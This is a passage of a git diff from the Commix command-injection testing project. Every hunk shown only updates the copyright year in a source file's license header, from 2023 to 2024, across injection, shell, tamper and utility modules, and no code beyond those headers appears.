(https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 94f3172ba5..826c74c86b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index a643dd84a1..f2f07393dd 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index b5ddc3e48e..4b48ff1e01 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 7765c310ca..f29a3c7cfd 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 933b610907..90efbed176 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 4df1f82d0e..9c0e1c4d1f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 67703106f8..d738712511 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 5f9b9ca4ec..4d1c6b0508 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 10fec5744f..b2d87a43a0 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 7b9df6d0bc..ad5ec1d5d5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 8ac0fb837b..7db7aaf6ec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index fedeb4a59d..f4d0598fbf 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 2131b05d4b..16f5faf027 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index abcf884083..25e2f7cd05 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/main.py b/src/core/main.py index 19cf6355e7..976e6cca7b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/modules/__init__.py +++ b/src/core/modules/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index 58b4336bb8..6a8c052b41 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/modules/shellshock/__init__.py +++ b/src/core/modules/shellshock/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/requests/__init__.py +++ b/src/core/requests/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 8de8c6a9ec..7407b677cf 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 6203126849..167779c6c1 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c6a9ae4193..3f0fc84805 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 8e8a7e7c9f..ed7abe4631 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e1040151ba..32b03e8d20 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5c7c759b26..27694409d4 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 9c104c12dd..7012cffea9 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index b4c60a3863..0fcfe4b7a2 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 6dd74c21b3..d0543e5942 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/core/tamper/__init__.py +++ b/src/core/tamper/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index 2b8fe8d8db..44d3854e5f 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 80a1197a97..203e8e3098 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py index 39d43d44cf..91490c1192 100644 --- a/src/core/tamper/base64encode.py +++ b/src/core/tamper/base64encode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index fe693ce9df..c5421493b1 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 8f1f4e52e8..9e5b32a599 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 98ff400547..fb39b96715 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index b91f562d80..ecf6f074dc 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py index 1b9745ba32..636eb115dc 100644 --- a/src/core/tamper/multiplespaces.py +++ b/src/core/tamper/multiplespaces.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 4098e71c52..fc57e89885 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/printf2echo.py b/src/core/tamper/printf2echo.py index 29d67a96c6..3595db0a1a 100644 --- a/src/core/tamper/printf2echo.py +++ b/src/core/tamper/printf2echo.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 4e94d4d045..c57458f03b 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index bb3849ea68..4dc132d756 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 69b52e66d4..e37c577925 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 523db81ac5..3d7723b988 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 5386590189..17cad0a93b 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index c67b91b8f7..c5409e067a 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 1432916146..c87e75e076 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 8cbf78f29d..c18e9cab9e 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 4ae1c8fca4..8e689afd41 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 16d9d0adaf..0abfc9701f 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py index 70cbc91691..39e0543b4f 100644 --- a/src/core/tamper/xforwardedfor.py +++ b/src/core/tamper/xforwardedfor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/testing.py b/src/core/testing.py index 78637df782..6d73a37c7f 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/__init__.py b/src/utils/__init__.py index 4b64c163e0..3d2d8fc2cb 100644 --- a/src/utils/__init__.py +++ b/src/utils/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/colors.py b/src/utils/colors.py index d7a6bbc249..17c5b38474 100644 --- a/src/utils/colors.py +++ b/src/utils/colors.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/utils/common.py b/src/utils/common.py index c5b082c832..673e3ec8b7 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2023 